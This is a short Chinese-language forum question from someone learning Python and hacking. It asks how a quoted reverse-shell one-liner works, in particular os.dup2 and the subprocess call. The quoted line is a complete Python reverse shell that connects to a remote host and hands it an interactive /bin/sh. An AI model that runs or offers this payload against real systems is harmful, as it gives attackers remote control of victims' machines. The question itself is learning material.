当我遇到以下代码片段时,我正在学习 python 和黑客技术:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这是获得反向外壳的外壳代码。我确实了解python代码,但我无法弄清楚它os.dup2()
的用途以及它在那里做什么,在最后一行写着p=subprocess.call(["/bin/sh","-i"])
,p
变量是如何被执行的
如果可能的话,详细回答以及我可以做进一步研究的资源。